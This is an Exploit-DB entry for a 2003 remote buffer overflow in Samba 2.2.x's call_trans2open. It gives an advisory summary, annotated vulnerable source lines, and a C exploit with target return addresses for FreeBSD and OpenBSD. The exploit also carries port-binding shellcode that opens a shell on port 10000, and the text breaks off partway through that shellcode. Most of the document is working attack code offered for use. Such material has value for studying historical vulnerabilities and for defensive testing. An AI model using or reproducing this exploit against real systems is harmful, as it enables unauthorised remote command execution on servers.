Exploit-DB #22468
Description: Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (1)
Type: remote
Platform: unix
Date: 2003-04-11
Author: Xpl017Elz

Exploit:
// source: https://www.securityfocus.com/bid/7294/info

A buffer overflow vulnerability has been reported for Samba. The problem occurs when copying user-supplied data into a static buffer. By passing excessive data to an affected Samba server, it may be possible for an anonymous user to corrupt sensitive locations in memory.

Successful exploitation of this issue could allow an attacker to execute arbitrary commands, with the privileges of the Samba process.

It should be noted that this vulnerability affects Samba 2.2.8 and earlier. Samba-TNG 0.3.1 and earlier are also affected. 

/*
**
** [+] Title: Samba v2.2.x call_trans2open() Remote Overrun exploit for XxxxBSD
**                                                                  11/Apr/2003
** [+] Exploit code: 0x82-Remote.54AAb4.xpl.c
**
** -- 
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/
/*
** -=-= POINT! POINT! POINT! POINT! POINT! =-=-
**
** source/smbd/trans2.c:
**
** line:205  static int call_trans2open(connection_struct *conn, char *inbuf, char *outbuf, int bufsize,
** line:206                          char **pparams, int total_params, char **ppdata, int total_data)
** line:207  {
**           [...]
** line:219          char *pname;
** line:220          int16 namelen;
**           [...]
** line:222          pstring fname; // source/include/smb.h:
**                                  // line:162  #define PSTRING_LEN 1024
**                                  // line:165  typedef char pstring[PSTRING_LEN];
**           [...]
** line:250          namelen = strlen(pname)+1;
** line:251
** line:252          StrnCpy(fname,pname,namelen); // here.
**
** reply_trans2() function:
**
** line:3173 int reply_trans2(connection_struct *conn, char *inbuf,char *outbuf,int length,int bufsize)
**           [...]
** line:3358                 outsize = call_trans2open(conn, inbuf, outbuf, bufsize,
** line:3359                                 &params, total_params, &data, total_data);
** line:3360                 END_PROFILE_NESTED(Trans2_open);
** line:3361                 break;
**
** Visual point that change flowing of this program,
** happen after overwrited variables.
**
** Detailed information references digitaldefense's Advisory.
**
** http://www.digitaldefense.net/labs/advisories/DDI-1013.txt
**
** Also, thank about eSDee's exploit that remind Samba application communication method.
** --
** Thank you.
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>

struct os {
	int num;
	char *ost;
	u_long shell;
};
struct os plat[]=
{
	{
		0,"FreeBSD 4.6.2-RELEASE #0 i386, Samba v2.2.x",
		/*
		   v2.2.0 exploited successfully. (Brute-Force mode)
		   v2.2.1a exploited successfully. (Brute-Force mode)
		   v2.2.2 exploited successfully. (Brute-Force mode)
		   v2.2.3 exploited successfully. (Default mode)
		   v2.2.4 exploited successfully. (Default mode)
		   v2.2.5 exploited successfully. (Default mode)
		   v2.2.6 exploited successfully. (Default mode)
		   v2.2.7 exploited successfully. (Default mode)
		   v2.2.8 exploited successfully. (Default mode)
		*/
		0xbfbff482
	},
	{
		1,"OpenBSD 3.0 GENERIC#94 i386, Samba v2.2.x",
		/*
		   v2.2.0 exploited successfully. (Brute-Force mode)
		   v2.2.1a exploited successfully. (Brute-Force mode)
		   v2.2.2 exploited successfully. (Brute-Force mode)
		   v2.2.3 exploited successfully. (Default mode)
		   v2.2.4 exploited successfully. (Default mode)
		   v2.2.5 exploited successfully. (Default mode)
		   v2.2.6 exploited successfully. (Default mode)
		   v2.2.7 exploited successfully. (Default mode)
		   v2.2.8 exploited successfully. (Default mode)
		*/
		0xdfbfd482
	},
	{
		2,NULL,0
	}
};

char shellcode[]=
	/* 86bytes portbinding shellcode by bighawk */
	"\x31\xc9"              // xor ecx, ecx
	"\xf7\xe1"              // mul ecx
	"\x51"                  // push ecx
	"\x41"                  // inc ecx
	"\x51"                  // push ecx
	"\x41"                  // inc ecx
	"\x51"                  // push ecx
	"\x51"                  // push ecx
	"\xb0\x61"              // mov al, 97
	"\xcd\x80"              // int 80h
	"\x89\xc3"              // mov ebx, eax
	"\x52"                  // push edx
	"\x66\x68\x27\x10"      // push word 4135
	"\x66\x51"              // push cx
	"\x89\xe6"              // mov esi, esp
	"\xb1\x10"              // mov cl, 16
	"\x51"                  // push ecx
	"\x56"                  // push esi
	"\x50"                  // push eax
	"\x50"                  // push eax
	"\xb0\x68"              // mov al, 104
	"\xcd\x80"              // int 80h
	"\x51"                  // push ecx
	"\x53"                  // push ebx
	"\x53"                  // push ebx
	"\xb0\x6a"              // mov al, 106
	"\xcd\x80"              // int 80h
	"\x52"                  // push edx
	"\x52"                  // push edx
	"\x53"                  // push ebx
	"\x53"                  // push ebx
	"\xb0\x1e"              // mov al, 30
	"\xcd\x80"              // int 80h
	"\xb1\x03"              // mov cl, 3
	"\x89\xc3"              // mov ebx, eax
	"\xb0\x5a"              // mov al, 90
	"\x49"                  // dec ecx
	"\x51"                  // push ecx
	"\x53"                  // push ebx
	"\x53"                  // push ebx
	"\xcd\x80"              // int 80h
	"\x41"                  // inc ecx
	"\xe2\xf5"              // loop-10
	"\x51"                  // push ecx
	"\x68\x2f\x2f\x73\x68"  // push dword 68732f2fh
	"\x68\x2f\x62\x69\x6e"  // push dword 6e69622fh
	"\x89\xe3"              // mov  ebx, esp
	"\x51"                  // push ecx
	"\x54"                  // push esp
	"\x53"                  // push ebx
	"\x53"                  // push ebx
	"